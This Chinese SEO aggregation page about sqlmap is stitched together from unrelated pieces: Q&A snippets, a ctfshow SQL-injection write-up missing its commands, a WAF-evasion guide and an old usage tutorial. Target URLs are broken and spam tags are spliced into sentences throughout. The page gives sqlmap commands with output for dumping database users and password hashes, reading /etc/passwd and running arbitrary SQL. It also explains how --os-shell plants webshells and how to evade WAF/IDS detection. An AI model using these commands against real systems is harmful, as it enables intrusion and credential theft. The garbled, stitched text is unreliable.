×

phpsqlmap

包含phpsqlmap的词条

admin admin 发表于2023-04-03 05:44:10 浏览45 评论0

抢沙发发表评论

本文目录一览:

sqlmap会产生垃圾数据吗

sqlmap不会产生垃圾数据。

sqlmap是一款开源免费的漏洞检查、利用工具。

可以检测页面中get,post参数,cookie,http头等。

可以实现数据榨取。

可以实现文件系统的访问。

可以实现操作命令的执行。

还可以对xss漏洞进行检测。

sqlmap 支持5种漏洞检测类型:

基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的。 )-phpsqlmap

基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的

基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)

基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)-phpsqlmap

php怎么用sqlmap写shell

楼主你可以不用在这里提问的,直接去找后盾人就可以,因为他那里的有专业的视频解释,而且非常详细,多看几遍就会懂了

ctfshow-SQL注入篇[Web201-Web213 sqlmap使用]

参考:

开始sqlmap的使用,提示使用 --refer 绕过refer检查:

注意,最后一句不加 --dump 会直接把数据写入文件中,不显示在终端上。

提示如下:

提示如下:

提示需要api鉴权:

可以看到,每次请求之前会进行如下url的调用:

最终的命令如下:

提示我们需要闭合:

查询语句中也的确是这样的:

不过sqlmap会帮我们处理这个,所以不需要在意,命令和上一题一样:

对传入的参数开始过滤了,使用tamper应对。

这一题过滤了空格,可以使用注释进行绕过,使用sqlmap自带的space2comment.py进行绕过:

space2comment.py如下:

当然也可以使用 %09 之类的来进行绕过。

对小写的 select 和空格进行了绕过,不过sqlmap中的select都是大写的,所以和上一题一样即可:

过滤了空格,*号和等号,使用 %09 绕过空格,使用 like 绕过等号,基于此改一下tamper即可:

命令如下:

base64和反转字符串连着来,按着逻辑写脚本即可:

命令如下:

多加了一个空格过滤,用注释绕过:

命令如下:

除了base64和反转字符串,还过滤了空格和*号,那么使用 %09 绕过空格:

命令如下:

提示了使用 --os-shell :

–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;

不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限

在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出-phpsqlmap

命令如下:

如图,获得了shell:

上图中出现了两个php文件,分别是tmpbvrci.php和tmpuuvbo.php,这就是前面所提到的sqlmap上传的两个shell文件。

tmpbvrci.php用于命令执行:

而tmpuuvbo.php用于文件上传:

获得flag:

sqlmap一跑就死,怎么注入

安装sqlmap

解压下载的sqlmap压缩包,里面是sqlmap源码,无需安装,可直接使用

使用sqlmap

对于存在漏洞的url如:

打开cmd在sqlmap目录下输入如下语句:python sqlmap.py -u

利用sqlmap注入时,发现站点对空格进行了过滤,可以使用什么脚本来绕过

0x00 前言

现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。因为现在WAF/IPS/IDS都把sqlmap 列入黑名单了,呵呵!但是本文基于sqlmap 进行绕过注入测试,介绍至今仍然实用有效的技巧,以下策略在特定的环境能够成功绕过,具体是否绕过,请仔细查看输出的信息。-phpsqlmap

0x01 确认WAF

首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS-phpsqlmap

root@kali:~# sqlmap -u ";types=4" --thread 10 --identify-waf#首选

root@kali:~# sqlmap -u ";types=4" --thread 10 --check-waf#备选

0x02 使用参数进行绕过

root@kali:~# sqlmap -u ";types=4" --random-agent -v 2 #使用任意浏览器进行绕过,尤其是在WAF配置不当的时候

root@kali:~# sqlmap -u ";types=4" --hpp -v 3#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上

root@kali:~# sqlmap -u ";types=4" --delay=3.5 --time-sec=60 #使用长的延时来避免触发WAF的机制,这方式比较耗时

root@kali:~# sqlmap -u ";types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理进行注入

安装sqlmap时出现的问题 最后出现 No module named thirdparty.clientform.clientform

昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。

1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap

详细用法

1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u ";cat=2" -v 1-phpsqlmap

[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL = 5.0.0-phpsqlmap

4、指定参数注入

python sqlmap.py -u ";cat=2" -v 1 -p "id"

[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...]-phpsqlmap

Or if you want to provide more than one parameter, for instance:

$ python sqlmap.py -u ";cat=2" -v 1 -p "cat,id"

5、指定方法和post的数据 python sqlmap.py -u "" --method "POST" -- data "id=1cat=2"

6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u ";cat=2" --cookie "COOKIE_VALUE"

7、通过代理注入 python sqlmap.py -u ";cat=2" --proxy "" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u ";cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u ";cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u ";cat=2" -b-phpsqlmap

banner: '5.0.38-Ubuntu_0ubuntu1.1-log'

12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u ";cat=2" -- current-db

current database: 'testdb'

python sqlmap.py -u ";cat=2" --users

database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost'-phpsqlmap

python sqlmap.py -u ";cat=2" -- passwords

database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ-phpsqlmap

python sqlmap.py -u ";cat=2" --dbs

available databases [3]: [*] information_schema [*] mysql [*] testdb

python sqlmap.py -u ";cat=2" --tables -D "information_schema"

Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+-phpsqlmap

python sqlmap.py -u ";cat=2" -- columns -T "user" -D "mysql"

Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+-phpsqlmap

13、显示指定的文件内容,一般用于php python sqlmap.py -u ";cat=2" --file / etc/passwd

/etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash ----phpsqlmap

14、执行你自己的sql语句。

python sqlmap.py -u ";cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"-phpsqlmap

[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY'-phpsqlmap

15、union注入 python sqlmap.py -u ";cat=2" --union- check

valid union: ' UNION ALL SELECT NULL, NULL, NULL--cat=2'

python sqlmap.py -u ";cat=2" -v 1 -- union-use --banner

[...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'-phpsqlmap

16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u ";cat=2" -v 1 -b - o "sqlmap.log"-phpsqlmap

[...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'-phpsqlmap

python sqlmap.py -u ";cat=2" -v 1 -- banner -o "sqlmap.log" --resume

[...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:-phpsqlmap